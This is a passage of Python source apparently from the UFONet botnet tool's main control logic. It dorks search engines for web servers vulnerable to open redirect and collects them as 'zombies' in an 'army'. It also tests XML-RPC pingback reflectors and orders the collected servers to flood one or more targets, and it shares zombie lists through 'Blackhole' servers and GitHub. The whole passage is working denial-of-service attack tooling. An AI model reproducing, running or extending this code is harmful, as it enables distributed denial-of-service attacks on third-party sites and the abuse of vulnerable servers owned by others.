print('='*44 + '\n')
802
self.options.engine = engine
803
try:
804
zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
805
if zombies_chain != None:
806
for zombie in zombies_chain:
807
if zombie not in zombies: # evade possible repetitions
808
zombies.append(zombie)
809
except:
810
if zombies: # backup all new zombies found to file in case of exception
811
for zombie in zombies:
812
if zombie+os.linesep not in restored: # only append new zombies found
813
with open(self.humans_file, "a") as f:
814
f.write(str(zombie+os.linesep))
815
else:
816
if restored:
817
print('='*44)
818
print(("\n[AI] Searching for zombies using: "+engine+"\n"))
819
print('='*44 + '\n')
820
if restored: # from restored file
821
try:
822
zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
823
if zombies_chain != None:
824
for zombie in zombies_chain:
825
if zombie not in zombies: # evade possible repetitions
826
zombies.append(zombie)
827
except:
828
if zombies: # backup all new zombies found to file in case of exception
829
for zombie in zombies:
830
if zombie+os.linesep not in restored: # only append new zombies found
831
with open(self.humans_file, "a") as f:
832
f.write(str(zombie+os.linesep))
833
else:
834
try:
835
zombies = self.search_zombies(dork='', zombies_found=zombies)
836
except:
837
if zombies: # backup all new zombies found to file in case of exception
838
for zombie in zombies:
839
if zombie+os.linesep not in restored: # only append new zombies found
840
with open(self.humans_file, "a") as f:
841
f.write(str(zombie+os.linesep))
842
total_restored = zombies_restored
843
new_zombies = 0 # new zombies counter
844
f = open(self.zombies_file, 'r')
845
zz = f.readlines()
846
f.close()
847
zombies_found = []
848
for z in zombies:
849
if z.endswith(os.linesep):
850
z = z.replace(os.linesep, "")
851
if z not in zz and z+os.linesep not in zz:
852
new_zombies = new_zombies + 1
853
zombies_found.append(z)
854
print('='*62)
855
print("\n- Victims found:", len(zombies_found), "\n")
856
print(" - Restored:", total_restored)
857
print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
858
print('-'*32)
859
print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
860
print('='*62 + '\n')
861
if len(zombies) > 0:
862
if not self.options.forceyes:
863
check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
864
print('-'*25)
865
else:
866
check_backup_reply = "Y"
867
if check_backup_reply == "n" or check_backup_reply == "N":
868
if os.path.isfile(self.humans_file):
869
os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
870
print("\n[Info] [AI] Temporal data correctly removed...\n")
871
else:
872
with open(self.humans_file, "w") as f:
873
for z in zombies_found:
874
if z.endswith(os.linesep):
875
z = z.replace(os.linesep, "")
876
if z not in zz or z+os.linesep not in zz:
877
f.write(z+os.linesep)
878
f.close()
879
print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
880
print('-'*25 + "\n")
881
if new_zombies and new_zombies > 0:
882
if not self.options.forceyes:
883
check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
884
print('-'*25 + "\n")
885
else:
886
check_url_link_reply = "Y"
887
if check_url_link_reply == "n" or check_url_link_reply == "N":
888
print("[AI] "+self.exit_msg+"\n")
889
pass
890
else:
891
print("\n" + '='*44)
892
test = self.testing(zombies_found)
893
else:
894
print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
895
except Exception:
896
print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
897
898
# search for [Zombies] from a list of [Dorks]
899
if options.dorks:
900
if options.engine:
901
engine = options.engine
902
else:
903
engine = "duck" # default search engine
904
try:
905
dorks = self.extract_dorks()
906
if not dorks:
907
return
908
zombies = []
909
self.banner()
910
if not os.path.exists(self.humans_file) == True:
911
f = open(self.humans_file, 'w')
912
f.close()
913
lf = open(self.humans_file, 'r')
914
restored = lf.readlines()
915
zombies_restored = len(restored)
916
lf.close()
917
lz = open(self.zombies_file, 'r')
918
zombies_army = lz.readlines()
919
for zombie in zombies_army:
920
zombies.append(zombie) # add zombies from army to the zombies pool
921
lz.close()
922
if len(restored) > 0:
923
print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
924
if not self.options.forceyes:
925
backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
926
print('-'*25)
927
else:
928
backup_reply = "Y"
929
if backup_reply == "n" or backup_reply == "N":
930
print("\n[Info] [AI] Removing data stored and starting a new search...\n")
931
os.remove(self.humans_file)
932
zombies_restored = 0 # flush zombies restored
933
print('-'*25 + "\n")
934
else:
935
print("\n[Info] [AI] Restoring data and starting a new search...\n")
936
print('-'*25 + "\n")
937
for zombie in restored:
938
zombies.append(zombie) # add previous data to zombies pool
939
total_restored = zombies_restored
940
if options.allengines:
941
if options.ex_engine: # exclude some search engines manually
942
exclude = options.ex_engine.split(",")
943
for ex in exclude:
944
ex = ex.lower()
945
if ex in self.search_engines:
946
if len(self.search_engines) == 1: # at least one should make it
947
pass
948
else:
949
self.search_engines.remove(ex)
950
for e in self.search_engines:
951
engine = e
952
print('='*44)
953
print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
954
print('='*44 + '\n')
955
self.options.engine = engine
956
for dork in dorks:
957
print('='*22)
958
print("Dork:", dork)
959
print('='*22 + '\n')
960
try:
961
dorked_zombies = self.search_zombies(dork, zombies) # AI mode
962
for zombie in dorked_zombies:
963
if zombie not in zombies: # evade repetitions for zombies found
964
zombies.append(zombie)
965
if zombie+os.linesep not in restored: # only append new zombies found
966
with open(self.humans_file, "a") as f:
967
f.write(str(zombie+os.linesep))
968
f.close()
969
except:
970
if zombies: # backup new zombies found on exception
971
for zombie in zombies:
972
if zombie+os.linesep not in restored: # only append new zombies found
973
with open(self.humans_file, "a") as f:
974
f.write(str(zombie+os.linesep))
975
f.close()
976
else:
977
if restored:
978
print('='*44)
979
print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
980
print('='*44 + '\n')
981
for dork in dorks:
982
print('='*22)
983
print("Dork:", dork)
984
print('='*22 + '\n')
985
try:
986
dorked_zombies = self.search_zombies(dork, zombies) # AI mode
987
if dorked_zombies != None:
988
for zombie in dorked_zombies:
989
if zombie not in zombies: # evade repetitions for zombies found
990
zombies.append(zombie)
991
except:
992
if zombies: # backup new zombies found on exception
993
for zombie in zombies:
994
if zombie+os.linesep not in restored: # only append new zombies found
995
with open(self.humans_file, "a") as f:
996
f.write(str(zombie+os.linesep))
997
f.close()
998
new_zombies = 0 # new zombies counter
999
f = open(self.zombies_file, 'r')
1000
zz = f.readlines()
1001
f.close()
1002
zombies_found = []
1003
for z in zombies:
1004
if z.endswith(os.linesep):
1005
z = z.replace(os.linesep, "")
1006
if z not in zz and z+os.linesep not in zz:
1007
new_zombies = new_zombies + 1
1008
zombies_found.append(z)
1009
print('='*62)
1010
print("\n- Victims found:", len(zombies_found), "\n")
1011
print(" - Restored:", total_restored)
1012
print(" - Dorked:", len(zombies_found) - total_restored, "\n")
1013
print('-'*32)
1014
print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
1015
print('='*62 + '\n')
1016
if len(zombies_found) > 0:
1017
if not self.options.forceyes:
1018
check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
1019
print('-'*25)
1020
else:
1021
check_backup_reply = "Y"
1022
if check_backup_reply == "n" or check_backup_reply == "N":
1023
if os.path.isfile(self.humans_file):
1024
os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
1025
print("\n[Info] [AI] Temporal data correctly removed...\n")
1026
else:
1027
with open(self.humans_file, "w") as f:
1028
for z in zombies_found:
1029
if z.endswith(os.linesep):
1030
z = z.replace(os.linesep, "")
1031
if z not in zz or z+os.linesep not in zz:
1032
f.write(z+os.linesep)
1033
f.close()
1034
print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
1035
print('-'*25 + "\n")
1036
if new_zombies and new_zombies > 0:
1037
if not self.options.forceyes:
1038
check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
1039
print('-'*25 + "\n")
1040
else:
1041
check_url_link_reply = "Y"
1042
if check_url_link_reply == "n" or check_url_link_reply == "N":
1043
print("[AI] "+self.exit_msg+"\n")
1044
pass
1045
else:
1046
print("\n" + '='*44)
1047
test = self.testing(zombies_found)
1048
else:
1049
print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
1050
except Exception:
1051
print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
1052
1053
# auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
1054
if options.autosearch:
1055
try:
1056
dorks = self.extract_dorks()
1057
except:
1058
print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
1059
return
1060
engines_list = self.search_engines
1061
stop_flag = False # use a flag to establish an end
1062
try:
1063
self.banner()
1064
print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
1065
print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
1066
print('-'*25 + "\n")
1067
zombies_found = []
1068
lz = open(self.zombies_file, 'r')
1069
zombies_army = lz.readlines()
1070
for zombie in zombies_army:
1071
zombies_found.append(zombie) # add zombies from army to the zombies found pool
1072
lz.close()
1073
if not os.path.exists(self.humans_file) == True:
1074
f = open(self.humans_file, 'w')
1075
f.close()
1076
lf = open(self.humans_file, 'r')
1077
restored = lf.readlines()
1078
zombies_restored = len(restored)
1079
lf.close()
1080
if len(restored) > 0:
1081
print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
1082
if not self.options.forceyes:
1083
backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
1084
print('-'*25)
1085
else:
1086
backup_reply = "Y"
1087
if backup_reply == "n" or backup_reply == "N":
1088
print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
1089
os.remove(self.humans_file)
1090
zombies_restored = 0 # flush zombies restored
1091
print('-'*25 + "\n")
1092
else:
1093
print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
1094
print('-'*25 + "\n")
1095
for zombie in restored:
1096
zombies_found.append(zombie) # add previous data to zombies found pool
1097
total_restored = zombies_restored
1098
while stop_flag == False:
1099
if not os.path.exists(self.humans_file) == True:
1100
f = open(self.humans_file, 'w')
1101
f.close()
1102
lf = open(self.humans_file, 'r') # read it on each iteration to update changes
1103
restored = lf.readlines()
1104
lf.close()
1105
zombies_restored = len(restored)
1106
for e in engines_list:
1107
zombies_counter = 0 # use it also as (engine) flag
1108
engine = e
1109
self.options.engine = engine
1110
print('='*44 + '\n')
1111
print(("[AI] Searching for zombies using: "+engine+'\n'))
1112
print('='*44 + '\n')
1113
for dork in dorks:
1114
print('='*22)
1115
print("Dork:", dork)
1116
print('='*22 + '\n')
1117
try:
1118
dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
1119
for zombie in dorked_zombies:
1120
if zombie not in zombies_found: # evade repetitions for zombies found
1121
zombies_found.append(zombie)
1122
if zombie+os.linesep not in restored: # only append new zombies found
1123
with open(self.humans_file, "a") as f:
1124
f.write(str(zombie+os.linesep))
1125
f.close()
1126
zombies_counter = zombies_counter + 1
1127
except:
1128
if zombies_found: # backup new zombies found on exception
1129
for zombie in zombies_found:
1130
if zombie+os.linesep not in restored: # only append new zombies found
1131
with open(self.humans_file, "a") as f:
1132
f.write(str(zombie+os.linesep))
1133
f.close()
1134
if zombies_counter == 0:
1135
print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
1136
print('-'*25 + "\n")
1137
engines_list.remove(engine) # remove not more results engine from search engines list
1138
if not engines_list: # if search engines empty, call return-exit routine
1139
print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
1140
print('-'*25 + "\n")
1141
stop_flag = True # exit flag up
1142
new_zombies = 0 # new zombies counter
1143
f = open(self.zombies_file, 'r')
1144
zz = f.readlines()
1145
f.close()
1146
all_zombies_found = []
1147
for z in zombies_found:
1148
if z.endswith(os.linesep):
1149
z = z.replace(os.linesep, "")
1150
if z not in zz and z+os.linesep not in zz:
1151
new_zombies = new_zombies + 1
1152
all_zombies_found.append(z)
1153
print('='*62)
1154
print("\n- Victims found:", len(all_zombies_found), "\n")
1155
print(" - Restored:", total_restored)
1156
print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
1157
print('-'*32)
1158
print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
1159
print('='*62 + '\n')
1160
if len(zombies_found) > 0:
1161
if not self.options.forceyes:
1162
check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
1163
print('-'*25)
1164
else:
1165
check_backup_reply = "Y"
1166
if check_backup_reply == "n" or check_backup_reply == "N":
1167
if os.path.isfile(self.humans_file):
1168
os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
1169
print("\n[Info] [AI] Temporal data correctly removed...\n")
1170
else:
1171
with open(self.humans_file, "w") as f:
1172
for z in all_zombies_found:
1173
if z.endswith(os.linesep):
1174
z = z.replace(os.linesep, "")
1175
if z not in zz or z+os.linesep not in zz:
1176
f.write(z+os.linesep)
1177
f.close()
1178
print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
1179
print('-'*25 + "\n")
1180
if new_zombies and new_zombies > 0:
1181
if not self.options.forceyes:
1182
check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
1183
print('-'*25 + "\n")
1184
else:
1185
check_url_link_reply = "Y"
1186
if check_url_link_reply == "n" or check_url_link_reply == "N":
1187
print("[AI] "+self.exit_msg+"\n")
1188
pass
1189
else:
1190
print("\n" + '='*44)
1191
test = self.testing(all_zombies_found)
1192
else:
1193
print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
1194
except Exception:
1195
print ("[Error] [AI] Something wrong (auto)searching...\n")
1196
1197
# test web 'zombie' servers -> show statistics
1198
if options.test:
1199
try:
1200
self.banner()
1201
zombies = self.extract_zombies()
1202
if not zombies:
1203
return
1204
test = self.testing(zombies)
1205
self.update_missions_stats() # update mothership missions stats
1206
except Exception:
1207
print ("\n[Error] [AI] Something wrong testing!\n")
1208
if DEBUG == True:
1209
traceback.print_exc()
1210
1211
# test XML-'rpc' pingback vulnerable servers -> update list
1212
if options.testrpc:
1213
try:
1214
self.banner()
1215
rpcs = self.extract_rpcs()
1216
if not rpcs:
1217
return
1218
testrpc = self.testing_rpcs(rpcs)
1219
self.update_missions_stats() # update mothership missions stats
1220
except Exception:
1221
print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
1222
if DEBUG == True:
1223
traceback.print_exc()
1224
1225
# check botnet searching for zombies offline
1226
if options.testoffline:
1227
try:
1228
self.banner()
1229
testbotnet = self.testing_offline()
1230
self.update_missions_stats() # update mothership missions stats
1231
except Exception:
1232
print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
1233
if DEBUG == True:
1234
traceback.print_exc()
1235
1236
# check ALL botnet status
1237
if options.testall:
1238
try:
1239
self.banner()
1240
test_all_botnet = self.testing_all()
1241
self.update_missions_stats() # update mothership missions stats
1242
except Exception:
1243
print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
1244
if DEBUG == True:
1245
traceback.print_exc()
1246
1247
# attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
1248
if options.target:
1249
try:
1250
self.banner()
1251
zombies = self.extract_zombies()
1252
if not zombies:
1253
return
1254
options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
1255
attack = self.attacking(zombies, options.target)
1256
self.update_missions_stats() # update mothership missions stats
1257
except Exception:
1258
print ("\n[Error] [AI] Something wrong attacking!\n")
1259
if DEBUG == True:
1260
traceback.print_exc()
1261
1262
# attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
1263
if options.target_list:
1264
try:
1265
self.banner()
1266
zombies = self.extract_zombies()
1267
if not zombies:
1268
return
1269
targets = self.extract_target_list()
1270
if not targets:
1271
print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
1272
return
1273
self.options.forceyes = True # force-yes ON!
1274
self.num_target_list = 0
1275
print("\n[AI] Checking integrity of targets...\n")
1276
for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
1277
if not t.startswith("http"): # discarded inmediately
1278
print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
1279
targets.remove(t) # ¿remove? invalid targets
1280
print("")
1281
c = 0
1282
for target in targets:
1283
if target == "":
1284
c = c + 1
1285
else:
1286
self.num_target_list = self.num_target_list + 1
1287
if c == len(targets):
1288
print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
1289
return # end of code block dedicated to: Guido van Rossum [23/12/2018]
1290
else:
1291
for target in targets:
1292
self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
1293
target = self.options.target
1294
print('='*55 + "\n")
1295
print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
1296
print("="*55)
1297
attack = self.attacking(zombies, target)
1298
self.update_missions_stats() # update mothership missions stats (each target counts)
1299
except Exception:
1300
print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
1301
if DEBUG == True:
1302
traceback.print_exc()
1303
1304
# inspect target -> inspect target's components sizes
1305
if options.inspect:
1306
try:
1307
self.banner()
1308
print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
1309
print('='*22 + '\n')
1310
self.instance = Inspector(self) # instance main class for inspection operations
1311
inspection = self.instance.inspecting(options.inspect)
1312
self.update_missions_stats() # update mothership missions stats
1313
except Exception as e:
1314
print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
1315
if DEBUG == True:
1316
traceback.print_exc()
1317
return #sys.exit(2)
1318
1319
# abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
1320
if options.abduction:
1321
try:
1322
self.banner()
1323
print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
1324
print('='*22 + '\n')
1325
self.instance = Abductor(self) # instance main class for abduction operations
1326
abduction = self.instance.abducting(options.abduction)
1327
self.update_missions_stats() # update mothership missions stats
1328
except Exception as e:
1329
print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
1330
if DEBUG == True:
1331
traceback.print_exc()
1332
return #sys.exit(2)
1333
1334
# attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
1335
if options.attackme:
1336
self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
1337
try:
1338
self.banner()
1339
print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
1340
print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
1341
if not self.options.forceyes:
1342
update_reply = input("[AI] Do you want to continue? (Y/n)")
1343
else:
1344
update_reply = "Y"
1345
if update_reply == "n" or update_reply == "N":
1346
print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
1347
return
1348
self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
1349
print("\n[Info] Mothership ID: " + self.mothership_id + "\n[Info] RND: " + self.mothership_hash)
1350
print("\n[AI] Checking NAT/IP configuration:\n")
1351
nat = self.check_nat()
1352
f = open("alien", "w") # generate random alien worker
1353
f.write(str(self.mothership_hash))
1354
f.close()
1355
if self.nat_error_flag == "ON":
1356
return
1357
zombies = self.extract_zombies()
1358
if not zombies:
1359
return
1360
attackme = self.attackme(zombies)
1361
self.update_missions_stats() # update mothership missions stats
1362
except Exception as e:
1363
print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
1364
if DEBUG == True:
1365
traceback.print_exc()
1366
return #sys.exit(2)
1367
1368
# check/update for latest stable version
1369
if options.update:
1370
self.banner()
1371
try:
1372
print("\n[AI] Trying to update automatically to the latest stable version\n")
1373
Updater()
1374
except:
1375
print("Not any .git repository found!\n")
1376
print("="*30)
1377
print("\nTo have working this feature, you should clone UFONet with:\n")
1378
print("$ git clone %s" % self.GIT_REPOSITORY)
1379
print("\nAlso you can try this other mirror:\n")
1380
print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
1381
1382
# launch GUI/Web interface
1383
if options.web:
1384
self.create_web_interface()
1385
return
1386
1387
# deploy data to share in [/var/www/ufonet]
1388
if options.deploy is not None:
1389
self.banner()
1390
euid = self.checkeuid()
1391
if euid != 0:
1392
print("\n[Info] [AI] [Control] [DEPLOY] (--deploy) not started as root...\n")
1393
try:
1394
args = ['sudo', sys.executable] + sys.argv + [os.environ]
1395
os.execlpe('sudo', *args)
1396
except:
1397
pass
1398
try:
1399
print("\n[AI] Trying to deploy data to share in: '"+self.warping_path+"'\n")
1400
np = r''+self.warping_path+''
1401
if not os.path.exists(np):
1402
os.makedirs(np)
1403
print("[AI] Created folder at: '"+self.warping_path+"'\n")
1404
else:
1405
print("[AI] Path to folder: '"+self.warping_path+"' exists! -> [Passing!]\n")
1406
from pathlib import Path # import pathlib
1407
import shutil # import shutil
1408
src = 'data/'
1409
files=os.listdir(src)
1410
print("[AI] GUI [Data] has been deployed...\n")
1411
for fname in files:
1412
shutil.copy2(os.path.join(src,fname), self.warping_path)
1413
print(" - "+fname+" -> "+self.warping_path+"/"+fname)
1414
os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
1415
print("")
1416
src2 = 'botnet/'
1417
files=os.listdir(src2)
1418
print("[AI] CORE [Botnet] has been deployed...\n")
1419
for fname in files:
1420
shutil.copy2(os.path.join(src2,fname), self.warping_path)
1421
if fname == 'zombies.txt':
1422
in_file = self.warping_path+"/"+fname
1423
in_data = open(in_file, "rb").read()
1424
out_gz = self.warping_path+"/"+"abductions.txt.gz"
1425
gzf = gzip.open(out_gz, "wb")
1426
gzf.write(in_data)
1427
gzf.close()
1428
os.unlink(in_file)
1429
print(" - "+fname+" -> "+self.warping_path+"/"+"abductions.txt.gz")
1430
os.chmod(self.warping_path+"/"+"abductions.txt.gz", self.warping_folder_permissions)
1431
if fname == 'aliens.txt':
1432
in_file = self.warping_path+"/"+fname
1433
in_data = open(in_file, "rb").read()
1434
out_gz = self.warping_path+"/"+"troops.txt.gz"
1435
gzf = gzip.open(out_gz, "wb")
1436
gzf.write(in_data)
1437
gzf.close()
1438
os.unlink(in_file)
1439
print(" - "+fname+" -> "+self.warping_path+"/"+"troops.txt.gz")
1440
os.chmod(self.warping_path+"/"+"troops.txt.gz", self.warping_folder_permissions)
1441
if fname == 'droids.txt':
1442
in_file = self.warping_path+"/"+fname
1443
in_data = open(in_file, "rb").read()
1444
out_gz = self.warping_path+"/"+"robots.txt.gz"
1445
gzf = gzip.open(out_gz, "wb")
1446
gzf.write(in_data)
1447
gzf.close()
1448
os.unlink(in_file)
1449
print(" - "+fname+" -> "+self.warping_path+"/"+"robots.txt.gz")
1450
os.chmod(self.warping_path+"/"+"robots.txt.gz", self.warping_folder_permissions)
1451
if fname == 'ucavs.txt':
1452
in_file = self.warping_path+"/"+fname
1453
in_data = open(in_file, "rb").read()
1454
out_gz = self.warping_path+"/"+"drones.txt.gz"
1455
gzf = gzip.open(out_gz, "wb")
1456
gzf.write(in_data)
1457
gzf.close()
1458
os.unlink(in_file)
1459
print(" - "+fname+" -> "+self.warping_path+"/"+"drones.txt.gz")
1460
os.chmod(self.warping_path+"/"+"drones.txt.gz", self.warping_folder_permissions)
1461
if fname == 'rpcs.txt':
1462
in_file = self.warping_path+"/"+fname
1463
in_data = open(in_file, "rb").read()
1464
out_gz = self.warping_path+"/"+"reflectors.txt.gz"
1465
gzf = gzip.open(out_gz, "wb")
1466
gzf.write(in_data)
1467
gzf.close()
1468
os.unlink(in_file)
1469
print(" - "+fname+" -> "+self.warping_path+"/"+"reflectors.txt.gz")
1470
os.chmod(self.warping_path+"/"+"reflectors.txt.gz", self.warping_folder_permissions)
1471
if fname == 'snmp.txt':
1472
in_file = self.warping_path+"/"+fname
1473
in_data = open(in_file, "rb").read()
1474
out_gz = self.warping_path+"/"+"bosons.txt.gz"
1475
gzf = gzip.open(out_gz, "wb")
1476
gzf.write(in_data)
1477
gzf.close()
1478
os.unlink(in_file)
1479
print(" - "+fname+" -> "+self.warping_path+"/"+"bosons.txt.gz")
1480
os.chmod(self.warping_path+"/"+"bosons.txt.gz", self.warping_folder_permissions)
1481
if fname == 'ntp.txt':
1482
in_file = self.warping_path+"/"+fname
1483
in_data = open(in_file, "rb").read()
1484
out_gz = self.warping_path+"/"+"crystals.txt.gz"
1485
gzf = gzip.open(out_gz, "wb")
1486
gzf.write(in_data)
1487
gzf.close()
1488
os.unlink(in_file)
1489
print(" - "+fname+" -> "+self.warping_path+"/"+"crystals.txt.gz")
1490
os.chmod(self.warping_path+"/"+"crystals.txt.gz", self.warping_folder_permissions)
1491
if fname == 'dns.txt':
1492
in_file = self.warping_path+"/"+fname
1493
in_data = open(in_file, "rb").read()
1494
out_gz = self.warping_path+"/"+"warps.txt.gz"
1495
gzf = gzip.open(out_gz, "wb")
1496
gzf.write(in_data)
1497
gzf.close()
1498
os.unlink(in_file)
1499
print(" - "+fname+" -> "+self.warping_path+"/"+"warps.txt.gz")
1500
os.chmod(self.warping_path+"/"+"warps.txt.gz", self.warping_folder_permissions)
1501
if fname == 'dorks.txt':
1502
print(" - "+fname+" -> "+self.warping_path+"/"+fname)
1503
os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
1504
print("")
1505
print("[AI] [Info] [Control] [DEPLOY] Files are ready to be shared with other 'motherships'...\n\n[AI] [Info] [DEPLOY] Other requirements:\n")
1506
print(" - 1) Setup web server (apache, nginx...)")
1507
print(" - 2) Make your web server accessible from the Internet (NAT/VPS) <-> ex: 'http(s)://<your ip>/ufonet/'")
1508
print(" - 3a) Start [Blackhole] with: './ufonet --blackhole' (or python3 ufonet --blackhole &)")
1509
print(" - 3b) Start [Grider] with: './ufonet --grider' (or python3 ufonet --grider &)")
1510
print(" - 4) Share your IP on the sneaknet! (ex: SHIP.RADAR) ;-)")
1511
print("")
1512
except Exception as e:
1513
print("[Error] "+str(e))
1514
print("\n[AI] Something was wrong deploying in: '/var/www/ufonet'... -> [Aborting!]\n")
1515
1516
# generate [Blackhole] server to share [Zombies]
1517
if options.blackhole is not None:
1518
self.banner()
1519
try:
1520
blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
1521
sys.path.append(blackhole_lib)
1522
from core.tools.blackhole import BlackHole
1523
print("\n[AI] Initiating void generation sequence...\n")
1524
print('='*22 + '\n')
1525
app = BlackHole()
1526
app.start()
1527
while True: time.sleep(1)
1528
except KeyboardInterrupt:
1529
print("\n[AI] Terminating void generation sequence...\n")
1530
app.collapse()
1531
except Exception as e:
1532
print("[Error] "+str(e))
1533
print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
1534
1535
# create [Grider] server to share [Stats/Wargames/Messages]
1536
if options.grider is not None:
1537
self.banner()
1538
try:
1539
grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
1540
sys.path.append(grider_lib)
1541
from core.tools.grider import Grider
1542
print("\n[AI] Initiating void generation sequence...\n")
1543
print('='*22 + '\n')
1544
app = Grider()
1545
app.start()
1546
while True: time.sleep(1)
1547
except KeyboardInterrupt:
1548
print("\n[AI] Terminating void generation sequence...\n")
1549
app.collapse()
1550
except Exception as e:
1551
print("[Error] "+str(e))
1552
print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
1553
1554
# download list of [Zombies] from a [Blackhole] IP
1555
if options.dip is not None:
1556
options.download = True
1557
self.blackhole = options.dip
1558
1559
# upload list of [Zombies] to a [Blackhole] IP
1560
if options.upip is not None:
1561
options.upload = True
1562
self.blackhole = options.upip
1563
1564
# download list of [Zombies] from Community nodes (Radar) [02/02/2022 OK!]
1565
if options.download_nodes:
1566
try:
1567
self.banner()
1568
print("\n[AI] Downloading list of [Zombies] from [Radar] [Blackhole] [Nodes] ...\n")
1569
print('='*22 + '\n')
1570
download_nodes_list = self.downloading_nodes_list()
1571
except Exception as e:
1572
print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
1573
return
1574
1575
# download list of [Zombies] from Community server [20/01/2020 OK!]
1576
if options.download:
1577
try:
1578
self.banner()
1579
if options.dip is not None:
1580
print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
1581
else:
1582
print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
1583
print('='*22 + '\n')
1584
download_list = self.downloading_list()
1585
except Exception as e:
1586
print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
1587
return
1588
1589
# upload list of [Zombies] to Community server [20/01/2020 OK!]
1590
if options.upload:
1591
try:
1592
self.banner()
1593
if options.upip is not None:
1594
print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
1595
else:
1596
print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
1597
print('='*22 + '\n')
1598
upload_list = self.uploading_list()
1599
except Exception as e:
1600
print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
1601
if DEBUG == True:
1602
traceback.print_exc()
1603
return #sys.exit(2)
1604
1605
# download list of [Zombies] from GitHub server [20/01/2020 OK!]
1606
if options.download_github:
1607
try:
1608
self.banner()
1609
print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
1610
print('='*22 + '\n')
1611
download_github_list = self.downloading_github_list()
1612
except Exception as e:
1613
print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
1614
return
1615
1616
# upload list of [Zombies] to GitHub server [20/01/2020 OK!]
1617
if options.upload_github:
1618
try:
1619
self.banner()
1620
print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
1621
